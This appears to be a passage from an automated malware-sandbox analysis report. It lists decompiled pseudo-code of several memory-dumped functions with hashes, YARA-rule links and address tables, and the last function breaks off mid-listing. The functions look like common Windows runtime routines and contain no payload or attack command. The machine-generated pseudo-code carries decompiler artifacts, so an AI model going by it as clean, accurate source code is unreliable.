Opcode Fuzzy Hash: df6a6645ed1721291aa7a7d735a6ae2c7bd2e69180bf61bec3c6a9887a1dad02
Instruction Fuzzy Hash: D0318971609302DFC714EF18C58051ABBE6FF85614F4489AEE8888B280D730FD04CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 04B4A70E, Relevance: .1, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E04B4A70E(intOrPtr* __ecx, char* __edx) {
				unsigned int _v8;
				intOrPtr* _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t16;
				intOrPtr _t17;
				intOrPtr _t28;
				char* _t33;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t50;
				intOrPtr _t52;

				_push(__ecx);
				_push(__ecx);
				_t52 =  *0x4c07b10; // 0x9
				_t33 = __edx;
				_t48 = __ecx;
				_v12 = __ecx;
				if(_t52 == 0) {
					 *0x4c07b10 = 8;
					 *0x4c07b14 = 0x4c07b0c;
					 *0x4c07b18 = 1;
					L6:
					_t2 = _t52 + 1; // 0xa
					E04B4A990(0x4c07b10, _t2, 7);
					asm("bts ecx, eax");
					 *_t48 = _t52;
					 *_t33 = 1;
					L3:
					_t16 = 0;
					L4:
					return _t16;
				}
				_t17 = L04B4A840(__edx, __ecx, __ecx, _t52, 0x4c07b10, 1, 0);
				if(_t17 == 0xffffffff) {
					_t37 =  *0x4c07b10; // 0x9
					_t3 = _t37 + 0x27; // 0x30
					__eflags = _t3 >> 5 -  *0x4c07b18; // 0x1
					if(__eflags > 0) {
						_t38 =  *0x4c07b9c; // 0x0
						_t4 = _t52 + 0x27; // 0x30
						_v8 = _t4 >> 5;
						_t50 = L04B34620(_t38 + 0xc0000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0xc0000, _t4 >> 5 << 2);
						__eflags = _t50;
						if(_t50 == 0) {
							_t16 = 0xc0000017;
							goto L4;
						}
						 *0x4c07b18 = _v8;
						_t8 = _t52 + 7; // 0x10
						E04B5F3E0(_t50,  *0x4c07b14, _t8 >> 3);
						_t28 =  *0x4c07b14; // 0x771c7b0c
						__eflags = _t28 - 0x4c07b0c;
						if(_t28 != 0x4c07b0c) {
							L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
						}
						_t9 = _t52 + 8; // 0x11
						 *0x4c07b14 = _t50;
						_t48 = _v12;
						 *0x4c07b10 = _t9;
						goto L6;
					}
					 *0x4c07b10 = _t37 + 8;
					goto L6;
				}
				 *__ecx = _t17;
				 *_t33 = 0;
				goto L3;
			}

0x04b4a713
0x04b4a714
0x04b4a717
0x04b4a71d
0x04b4a720
0x04b4a722
0x04b4a727
0x04b4a74a
0x04b4a754
0x04b4a75e
0x04b4a768
0x04b4a76a
0x04b4a773
0x04b4a78b
0x04b4a790
0x04b4a792
0x04b4a741
0x04b4a741
0x04b4a743
0x04b4a749
0x04b4a749
0x04b4a732
0x04b4a73a
0x04b4a797
0x04b4a79d
0x04b4a7a3
0x04b4a7a9
0x04b4a7b6
0x04b4a7bc
0x04b4a7ca
0x04b4a7e0
0x04b4a7e2
0x04b4a7e4
0x04b89bf2
0x00000000
0x04b89bf2
0x04b4a7ed
0x04b4a7f2
0x04b4a800
0x04b4a805
0x04b4a80d
0x04b4a812
0x04b89c08
0x04b89c08
0x04b4a818
0x04b4a81b
0x04b4a821
0x04b4a824
0x00000000
0x04b4a824
0x04b4a7ae
0x00000000
0x04b4a7ae
0x04b4a73c
0x04b4a73e
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02f715564a21cb4855ea2b6e1bb4ab42c6018a3fc60fbf5572846d60da21f1f4
Instruction ID: 05b469826097484becc5217102a3a75df06cc4797eb435354fa8dd8398cb9578
Opcode Fuzzy Hash: 02f715564a21cb4855ea2b6e1bb4ab42c6018a3fc60fbf5572846d60da21f1f4
Instruction Fuzzy Hash: 7C31C1B5701204DFD729DF18D880F65BBF9FB88B10F56499AE00587240E778BD81DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04B461A0, Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E04B461A0(signed int* __ecx) {
				intOrPtr _v8;
				char _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				intOrPtr _t30;
				intOrPtr _t31;
				void* _t32;
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t49;
				signed int _t51;
				intOrPtr _t52;
				signed int _t54;
				void* _t59;
				signed int* _t61;
				intOrPtr* _t64;

				_t61 = __ecx;
				_v12 = 0;
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
				_v16 = __ecx;
				_v8 = 0;
				if(_t30 == 0) {
					L6:
					_t31 = 0;
					L7:
					return _t31;
				}
				_t32 = _t30 + 0x5d8;
				if(_t32 == 0) {
					goto L6;
				}
				_t59 = _t32 + 0x30;
				if( *((intOrPtr*)(_t32 + 0x30)) == 0) {
					goto L6;
				}
				if(__ecx != 0) {
					 *((intOrPtr*)(__ecx)) = 0;
					 *((intOrPtr*)(__ecx + 4)) = 0;
				}
				if( *((intOrPtr*)(_t32 + 0xc)) != 0) {
					_t51 =  *(_t32 + 0x10);
					_t33 = _t32 + 0x10;
					_v20 = _t33;
					_t54 =  *(_t33 + 4);
					if((_t51 | _t54) == 0) {
						_t37 = E04B45E50(0x4af67cc, 0, 0,  &_v12);
						if(_t37 != 0) {
							goto L6;
						}
						_t52 = _v8;
						asm("lock cmpxchg8b [esi]");
						_t64 = _v16;
						_t49 = _t37;
						_v20 = 0;
						if(_t37 == 0) {
							if(_t64 != 0) {
								 *_t64 = _v12;
								 *((intOrPtr*)(_t64 + 4)) = _t52;
							}
							E04BE9D2E(_t59, 0, _v12, _v8,  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38) & 0x0000ffff,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x3c)));
							_t31 = 1;
							goto L7;
						}
						E04B1F7C0(_t52, _v12, _t52, 0);
						if(_t64 != 0) {
							 *_t64 = _t49;
							 *((intOrPtr*)(_t64 + 4)) = _v20;
						}
						L12:
						_t31 = 1;
						goto L7;
					}
					if(_t61 != 0) {
						 *_t61 = _t51;
						_t61[1] = _t54;
					}
					goto L12;
				} else {
					goto L6;
				}
			}

0x04b461b3
0x04b461b5
0x04b461bd
0x04b461c3
0x04b461c7
0x04b461d2
0x04b461ff
0x04b461ff
0x04b46201
0x04b46207
0x04b46207
0x04b461d4
0x04b461d9
0x00000000
0x00000000
0x04b461df
0x04b461e2
0x00000000
0x00000000
0x04b461e6
0x04b461e8
0x04b461ee
0x04b461ee
0x04b461f9
0x04b8762f
0x04b87632
0x04b87635
0x04b87639
0x04b87640
0x04b8766e
0x04b87675
0x00000000
0x00000000
0x04b87681
0x04b87689
0x04b8768d
0x04b87691
0x04b87695
0x04b87699
0x04b876af
0x04b876b5
0x04b876b7
0x04b876b7
0x04b876d7
0x04b876dc
0x00000000
0x04b876dc
0x04b876a2
0x04b876a9
0x04b87651
0x04b87653
0x04b87653
0x04b87656
0x04b87656
0x00000000
0x04b87656
0x04b87644
0x04b87646
0x04b87648
0x04b87648
0x00000000
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09e341271b5e55bdc61b38a02aa908cc4ae5ffb51885b0cbf44ec50319150a28
Instruction ID: 89089d413bfbc943ed7198f875506a36ee5ec3a9198e475435c32f52e90723a2
Opcode Fuzzy Hash: 09e341271b5e55bdc61b38a02aa908cc4ae5ffb51885b0cbf44ec50319150a28
Instruction Fuzzy Hash: 70318B716097019FD324EF19C800B2AB7E4FB88B04F1549ADE9989B361EBB4F804DB91

Uniqueness

Uniqueness Score: -1.00%

Function 04B1AA16, Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E04B1AA16(signed short* __ecx) {
				signed int _v8;
				intOrPtr _v12;
				signed short _v16;
				intOrPtr _v20;
				signed short _v24;
				signed short _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t25;
				signed short _t38;
				signed short* _t42;
				signed int _t44;
				signed short* _t52;
				signed short _t53;
				signed int _t54;

				_v8 =  *0x4c0d360 ^ _t54;
				_t42 = __ecx;
				_t44 =  *__ecx & 0x0000ffff;
				_t52 =  &(__ecx[2]);
				_t51 = _t44 + 2;
				if(_t44 + 2 > (__ecx[1] & 0x0000ffff)) {
					L4:
					_t25 =  *0x4c07b9c; // 0x0
					_t53 = L04B34620(_t44,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t25 + 0x180000, _t51);
					__eflags = _t53;
					if(_t53 == 0) {
						L3:
						return E04B5B640(_t28, _t42, _v8 ^ _t54, _t51, _t52, _t53);
					} else {
						E04B5F3E0(_t53,  *_t52,  *_t42 & 0x0000ffff);
						 *((short*)(_t53 + (( *_t42 & 0x0000ffff) >> 1) * 2)) = 0;
						L2:
						_t51 = 4;
						if(L04B26C59(_t53, _t51, _t58) != 0) {
							_t28 = E04B45E50(0x4afc338, 0, 0,  &_v32);
							__eflags = _t28;
							if(_t28 == 0) {
								_t38 = ( *_t42 & 0x0000ffff) + 2;
								__eflags = _t38;
								_v24 = _t53;
								_v16 = _t38;
								_v20 = 0;
								_v12 = 0;
								E04B4B230(_v32, _v28, 0x4afc2d8, 1,  &_v24);
								_t28 = E04B1F7A0(_v32, _v28);
							}
							__eflags = _t53 -  *_t52;
							if(_t53 !=  *_t52) {
								_t28 = L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						goto L3;
					}
				}
				_t53 =  *_t52;
				_t44 = _t44 >> 1;
				_t58 =  *((intOrPtr*)(_t53 + _t44 * 2));
				if( *((intOrPtr*)(_t53 + _t44 * 2)) != 0) {
					goto L4;
				}
				goto L2;
			}

0x04b1aa25
0x04b1aa29
0x04b1aa2d
0x04b1aa30
0x04b1aa37
0x04b1aa3c
0x04b74458
0x04b74458
0x04b74472
0x04b74474
0x04b74476
0x04b1aa64
0x04b1aa74
0x04b7447c
0x04b74483
0x04b74492
0x04b1aa52
0x04b1aa54
0x04b1aa5e
0x04b744a8
0x04b744ad
0x04b744af
0x04b744b6
0x04b744b6
0x04b744b9
0x04b744bc
0x04b744cd
0x04b744d3
0x04b744d6
0x04b744e1
0x04b744e1
0x04b744e6
0x04b744e8
0x04b744fb
0x04b744fb
0x04b744e8
0x00000000
0x04b1aa5e
0x04b74476
0x04b1aa42
0x04b1aa46
0x04b1aa48
0x04b1aa4c
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5956346c42a22bda571c3e07300348d4e8f20ca1dbbc45a5708d1ba1eae85fc
Instruction ID: 3c19f6f5306050c6488f60819f04e7ae66ed0fcd84da176410e1450de5ea601a
Opcode Fuzzy Hash: c5956346c42a22bda571c3e07300348d4e8f20ca1dbbc45a5708d1ba1eae85fc
Instruction Fuzzy Hash: C331E371A10219ABDF14AFA8CD81A7FB7B9FF08704B4140AAF905E7150EB34BD11DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04B58EC7, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E04B58EC7(void* __ecx, void* __edx) {
				signed int _v8;
				signed int* _v16;
				intOrPtr _v20;
				signed int* _v24;
				char* _v28;
				signed int* _v32;
				intOrPtr _v36;
				signed int* _v40;
				signed int* _v44;
				signed int* _v48;
				intOrPtr _v52;
				signed int* _v56;
				signed int* _v60;
				signed int* _v64;
				intOrPtr _v68;
				signed int* _v72;
				char* _v76;
				signed int* _v80;
				signed int _v84;
				signed int* _v88;
				intOrPtr _v92;
				signed int* _v96;
				intOrPtr _v100;
				signed int* _v104;
				signed int* _v108;
				char _v140;
				signed int _v144;
				signed int _v148;
				signed int* _v152;
				char _v156;
				signed int* _v160;
				char _v164;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t67;
				intOrPtr _t70;
				void* _t71;
				void* _t72;
				signed int _t73;

				_t69 = __edx;
				_v8 =  *0x4c0d360 ^ _t73;
				_t48 =  *[fs:0x30];
				_t72 = __edx;
				_t71 = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 0x18)) != 0) {
					_t48 = E04B44E70(0x4c086e4, 0x4b59490, 0, 0);
					if( *0x4c053e8 > 5 && E04B58F33(0x4c053e8, 0, 0x2000) != 0) {
						_v156 =  *((intOrPtr*)(_t71 + 0x44));
						_v144 =  *(_t72 + 0x44) & 0x0000ffff;
						_v148 =  *(_t72 + 0x46) & 0x0000ffff;
						_v164 =  *((intOrPtr*)(_t72 + 0x58));
						_v108 =  &_v84;
						_v92 =  *((intOrPtr*)(_t71 + 0x28));
						_v84 =  *(_t71 + 0x24) & 0x0000ffff;
						_v76 =  &_v156;
						_t70 = 8;
						_v60 =  &_v144;
						_t67 = 4;
						_v44 =  &_v148;
						_v152 = 0;
						_v160 = 0;
						_v104 = 0;
						_v100 = 2;
						_v96 = 0;
						_v88 = 0;
						_v80 = 0;
						_v72 = 0;
						_v68 = _t70;
						_v64 = 0;
						_v56 = 0;
						_v52 = 0x4c053e8;
						_v48 = 0;
						_v40 = 0;
						_v36 = 0x4c053e8;
						_v32 = 0;
						_v28 =  &_v164;
						_v24 = 0;
						_v20 = _t70;
						_v16 = 0;
						_t69 = 0x4afbc46;
						_t48 = E04B97B9C(0x4c053e8, 0x4afbc46, _t67, 0x4c053e8, _t70,  &_v140);
					}
				}
				return E04B5B640(_t48, 0, _v8 ^ _t73, _t69, _t71, _t72);
			}

0x04b58ec7
0x04b58ed9
0x04b58edc
0x04b58ee6
0x04b58ee9
0x04b58eee
0x04b58efc
0x04b58f08
0x04b91349
0x04b91353
0x04b9135d
0x04b91366
0x04b9136f
0x04b91375
0x04b9137c
0x04b91385
0x04b91390
0x04b91391
0x04b9139c
0x04b9139d
0x04b913a6
0x04b913ac
0x04b913b2
0x04b913b5
0x04b913bc
0x04b913bf
0x04b913c2
0x04b913c5
0x04b913c8
0x04b913cb
0x04b913ce
0x04b913d1
0x04b913d4
0x04b913d7
0x04b913da
0x04b913dd
0x04b913e0
0x04b913e3
0x04b913e6
0x04b913e9
0x04b913f6
0x04b91400
0x04b91400
0x04b58f08
0x04b58f32

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b2c8b9186b02a64a897afbf9d15d9896f66fce2a24427f7e479378905e29984
Instruction ID: 1af2d26ce270c246f3f4cc390fe575527997f020e71b9936fce2b22b37c6df85
Opcode Fuzzy Hash: 9b2c8b9186b02a64a897afbf9d15d9896f66fce2a24427f7e479378905e29984
Instruction Fuzzy Hash: FB4192B1D003189FDB24DFAAD980AADFBF4FB48314F5081AEE549A7240E7746A84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04B54A2C, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E04B54A2C(signed int* __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int* _v12;
				char _v13;
				signed int _v16;
				char _v21;
				signed int* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				signed int* _t32;
				signed int* _t41;
				signed int _t42;
				void* _t43;
				intOrPtr* _t51;
				void* _t52;
				signed int _t53;
				signed int _t58;
				void* _t59;
				signed int _t60;
				signed int _t62;

				_t49 = __edx;
				_t62 = (_t60 & 0xfffffff8) - 0xc;
				_t26 =  *0x4c0d360 ^ _t62;
				_v8 =  *0x4c0d360 ^ _t62;
				_t41 = __ecx;
				_t51 = __edx;
				_v12 = __ecx;
				if(_a4 == 0) {
					if(_a8 != 0) {
						goto L1;
					}
					_v13 = 1;
					E04B32280(_t26, 0x4c08608);
					_t58 =  *_t41;
					if(_t58 == 0) {
						L11:
						E04B2FFB0(_t41, _t51, 0x4c08608);
						L2:
						 *0x4c0b1e0(_a4, _a8);
						_t42 =  *_t51();
						if(_t42 == 0) {
							_t29 = 0;
							L5:
							_pop(_t52);
							_pop(_t59);
							_pop(_t43);
							return E04B5B640(_t29, _t43, _v16 ^ _t62, _t49, _t52, _t59);
						}
						 *((intOrPtr*)(_t42 + 0x34)) = 1;
						if(_v21 != 0) {
							_t53 = 0;
							E04B32280(_t28, 0x4c08608);
							_t32 = _v24;
							if( *_t32 == _t58) {
								 *_t32 = _t42;
								 *((intOrPtr*)(_t42 + 0x34)) =  *((intOrPtr*)(_t42 + 0x34)) + 1;
								if(_t58 != 0) {
									 *(_t58 + 0x34) =  *(_t58 + 0x34) - 1;
									asm("sbb edi, edi");
									_t53 =  !( ~( *(_t58 + 0x34))) & _t58;
								}
							}
							E04B2FFB0(_t42, _t53, 0x4c08608);
							if(_t53 != 0) {
								L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						_t29 = _t42;
						goto L5;
					}
					if( *((char*)(_t58 + 0x40)) != 0) {
						L10:
						 *(_t58 + 0x34) =  *(_t58 + 0x34) + 1;
						E04B2FFB0(_t41, _t51, 0x4c08608);
						_t29 = _t58;
						goto L5;
					}
					_t49 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					if( *((intOrPtr*)(_t58 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
						goto L11;
					}
					goto L10;
				}
				L1:
				_v13 = 0;
				_t58 = 0;
				goto L2;
			}

0x04b54a2c
0x04b54a34
0x04b54a3c
0x04b54a3e
0x04b54a48
0x04b54a4b
0x04b54a4d
0x04b54a51
0x04b54a9c
0x00000000
0x00000000
0x04b54aa3
0x04b54aa8
0x04b54aad
0x04b54ab1
0x04b54ade
0x04b54ae3
0x04b54a5a
0x04b54a62
0x04b54a6a
0x04b54a6e
0x04b8f203
0x04b54a84
0x04b54a88
0x04b54a89
0x04b54a8a
0x04b54a95
0x04b54a95
0x04b54a79
0x04b54a80
0x04b54af2
0x04b54af4
0x04b54af9
0x04b54aff
0x04b54b01
0x04b54b03
0x04b54b08
0x04b8f20a
0x04b8f212
0x04b8f216
0x04b8f216
0x04b54b08
0x04b54b13
0x04b54b1a
0x04b8f229
0x04b8f229
0x04b54b1a
0x04b54a82
0x00000000
0x04b54a82
0x04b54ab7
0x04b54acd
0x04b54acd
0x04b54ad5
0x04b54ada
0x00000000
0x04b54ada
0x04b54ac2
0x04b54acb
0x00000000
0x00000000
0x00000000
0x04b54acb
0x04b54a53
0x04b54a53
0x04b54a58
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fc359e6e5b90753019fe69a591965ac5249a7fe94b133a74e774b756260f074
Instruction ID: 00e1db56f120f3ab0ca2aa1827909d00ebb717d5e20e75e762651d064a6b1c6d
Opcode Fuzzy Hash: 4fc359e6e5b90753019fe69a591965ac5249a7fe94b133a74e774b756260f074
Instruction Fuzzy Hash: C03102322053509BDBA1EF54C980B2BF7A5FF84B14F0189A9E85687660D770F881CF95

Uniqueness

Uniqueness Score: -1.00%

Function 04B4E730, Relevance: .1, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E04B4E730(void* __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr* _a40) {
				intOrPtr* _v0;
				signed char _v4;
				signed int _v8;
				void* __ecx;
				void* __ebp;
				void* _t37;
				intOrPtr _t38;
				signed int _t44;
				signed char _t52;
				void* _t54;
				intOrPtr* _t56;
				void* _t58;
				char* _t59;
				signed int _t62;

				_t58 = __edx;
				_push(0);
				_push(4);
				_push( &_v8);
				_push(0x24);
				_push(0xffffffff);
				if(E04B59670() < 0) {
					L04B6DF30(_t54, _t58, _t35);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t54);
					_t52 = _v4;
					if(_t52 > 8) {
						_t37 = 0xc0000078;
					} else {
						_t38 =  *0x4c07b9c; // 0x0
						_t62 = _t52 & 0x000000ff;
						_t59 = L04B34620(8 + _t62 * 4,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0x140000, 8 + _t62 * 4);
						if(_t59 == 0) {
							_t37 = 0xc0000017;
						} else {
							_t56 = _v0;
							 *(_t59 + 1) = _t52;
							 *_t59 = 1;
							 *((intOrPtr*)(_t59 + 2)) =  *_t56;
							 *((short*)(_t59 + 6)) =  *((intOrPtr*)(_t56 + 4));
							_t44 = _t62 - 1;
							if(_t44 <= 7) {
								switch( *((intOrPtr*)(_t44 * 4 +  &M04B4E810))) {
									case 0:
										L6:
										 *((intOrPtr*)(_t59 + 8)) = _a8;
										goto L7;
									case 1:
										L13:
										 *((intOrPtr*)(__edx + 0xc)) = _a12;
										goto L6;
									case 2:
										L12:
										 *((intOrPtr*)(__edx + 0x10)) = _a16;
										goto L13;
									case 3:
										L11:
										 *((intOrPtr*)(__edx + 0x14)) = _a20;
										goto L12;
									case 4:
										L10:
										 *((intOrPtr*)(__edx + 0x18)) = _a24;
										goto L11;
									case 5:
										L9:
										 *((intOrPtr*)(__edx + 0x1c)) = _a28;
										goto L10;
									case 6:
										L17:
										 *((intOrPtr*)(__edx + 0x20)) = _a32;
										goto L9;
									case 7:
										 *((intOrPtr*)(__edx + 0x24)) = _a36;
										goto L17;
								}
							}
							L7:
							 *_a40 = _t59;
							_t37 = 0;
						}
					}
					return _t37;
				} else {
					_push(0x20);
					asm("ror eax, cl");
					return _a4 ^ _v8;
				}
			}

0x04b4e730
0x04b4e736
0x04b4e738
0x04b4e73d
0x04b4e73e
0x04b4e740
0x04b4e749
0x04b4e765
0x04b4e76a
0x04b4e76b
0x04b4e76c
0x04b4e76d
0x04b4e76e
0x04b4e76f
0x04b4e775
0x04b4e777
0x04b4e77e
0x04b8b675
0x04b4e784
0x04b4e784
0x04b4e789
0x04b4e7a8
0x04b4e7ac
0x04b4e807
0x04b4e7ae
0x04b4e7ae
0x04b4e7b1
0x04b4e7b4
0x04b4e7b9
0x04b4e7c0
0x04b4e7c4
0x04b4e7ca
0x04b4e7cc
0x00000000
0x04b4e7d3
0x04b4e7d6
0x00000000
0x00000000
0x04b4e7ff
0x04b4e802
0x00000000
0x00000000
0x04b4e7f9
0x04b4e7fc
0x00000000
0x00000000
0x04b4e7f3
0x04b4e7f6
0x00000000
0x00000000
0x04b4e7ed
0x04b4e7f0
0x00000000
0x00000000
0x04b4e7e7
0x04b4e7ea
0x00000000
0x00000000
0x04b8b685
0x04b8b688
0x00000000
0x00000000
0x04b8b682
0x00000000
0x00000000
0x04b4e7cc
0x04b4e7d9
0x04b4e7dc
0x04b4e7de
0x04b4e7de
0x04b4e7ac
0x04b4e7e4
0x04b4e74b
0x04b4e751
0x04b4e759
0x04b4e761
0x04b4e761

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5a0ecc6be6eebcfecaea632f92170d9f694bfc054ea2fbeec261ee84facb15c
Instruction ID: 7d980004e6edf93fcecdfbadbac87dd106924f3ca125fccf0579fab236a95e82
Opcode Fuzzy Hash: c5a0ecc6be6eebcfecaea632f92170d9f694bfc054ea2fbeec261ee84facb15c
Instruction Fuzzy Hash: C4317A75A14249EFD704CF28D840B9ABBE8FB48324F14829AF904CB241E635F880DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04B4BC2C, Relevance: .1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E04B4BC2C(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				intOrPtr _t22;
				intOrPtr* _t41;
				intOrPtr _t51;

				_t51 =  *0x4c06100; // 0x48
				_v12 = __edx;
				_v8 = __ecx;
				if(_t51 >= 0x800) {
					L12:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t22 = _t51;
					asm("lock cmpxchg [ecx], edx");
					if(_t51 == _t22) {
						break;
					}
					_t51 = _t22;
					if(_t22 < 0x800) {
						continue;
					}
					goto L12;
				}
				E04B32280(0xd, 0x17c1f1a0);
				_t41 =  *0x4c060f8; // 0x0
				if(_t41 != 0) {
					 *0x4c060f8 =  *_t41;
					 *0x4c060fc =  *0x4c060fc + 0xffff;
				}
				E04B2FFB0(_t41, 0x800, 0x17c1f1a0);
				if(_t41 != 0) {
					L6:
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *((intOrPtr*)(_t41 + 0x1c)) = _v12;
					 *((intOrPtr*)(_t41 + 0x20)) = _a4;
					 *(_t41 + 0x36) =  *(_t41 + 0x36) & 0x00008000 | _a8 & 0x00003fff;
					do {
						asm("lock xadd [0x4c060f0], ax");
						 *((short*)(_t41 + 0x34)) = 1;
					} while (1 == 0);
					goto L8;
				} else {
					_t41 = L04B34620(0x4c06100,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0xd0);
					if(_t41 == 0) {
						L11:
						asm("lock dec dword [0x4c06100]");
						L8:
						return _t41;
					}
					 *(_t41 + 0x24) =  *(_t41 + 0x24) & 0x00000000;
					 *(_t41 + 0x28) =  *(_t41 + 0x28) & 0x00000000;
					if(_t41 == 0) {
						goto L11;
					}
					goto L6;
				}
			}

0x04b4bc36
0x04b4bc42
0x04b4bc45
0x04b4bc4a
0x04b4bd35
0x00000000
0x00000000
0x00000000
0x00000000
0x04b4bc50
0x04b4bc50
0x04b4bc58
0x04b4bc5a
0x04b4bc60
0x00000000
0x00000000
0x04b8a4f2
0x04b8a4f6
0x00000000
0x00000000
0x00000000
0x04b8a4fc
0x04b4bc79
0x04b4bc7e
0x04b4bc86
0x04b4bd16
0x04b4bd20
0x04b4bd20
0x04b4bc8d
0x04b4bc94
0x04b4bcbd
0x04b4bcca
0x04b4bccb
0x04b4bccc
0x04b4bccd
0x04b4bcce
0x04b4bcd4
0x04b4bcea
0x04b4bcee
0x04b4bcf2
0x04b4bd00
0x04b4bd04
0x00000000
0x04b4bc96
0x04b4bcab
0x04b4bcaf
0x04b4bd2c
0x04b4bd2c
0x04b4bd09
0x00000000
0x04b4bd09
0x04b4bcb1
0x04b4bcb5
0x04b4bcbb
0x00000000
0x00000000
0x00000000
0x04b4bcbb

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 443b5b6ddd6ea419847171e4fa3dccf8944a2b468e22541096f829f9377abc11
Instruction ID: 2aa039ce6a17d8ec72556ee440f924d0d13d0cc40559f56833ecc37b823958a7
Opcode Fuzzy Hash: 443b5b6ddd6ea419847171e4fa3dccf8944a2b468e22541096f829f9377abc11
Instruction Fuzzy Hash: E031FD3AA046259BDB01DF58D4C07A673A4FB98319F0540F9EA48DB202EA78FD45AB80

Uniqueness

Uniqueness Score: -1.00%

Function 04B41DB5, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E04B41DB5(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				void* _t22;
				char _t23;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t43;

				_v12 = __ecx;
				_t43 = 0;
				_v20 = __edx;
				_t42 =  *__edx;
				 *__edx = 0;
				_v16 = _t42;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(6);
				_push(0);
				_push(__ecx);
				_t36 = ((0 | __ecx !=  *((intOrPtr*)( *[fs:0x30] + 8))) - 0x00000001 & 0xc0000000) + 0x40000002;
				_push(_t36);
				_t22 = E04B3F460();
				if(_t22 < 0) {
					if(_t22 == 0xc0000023) {
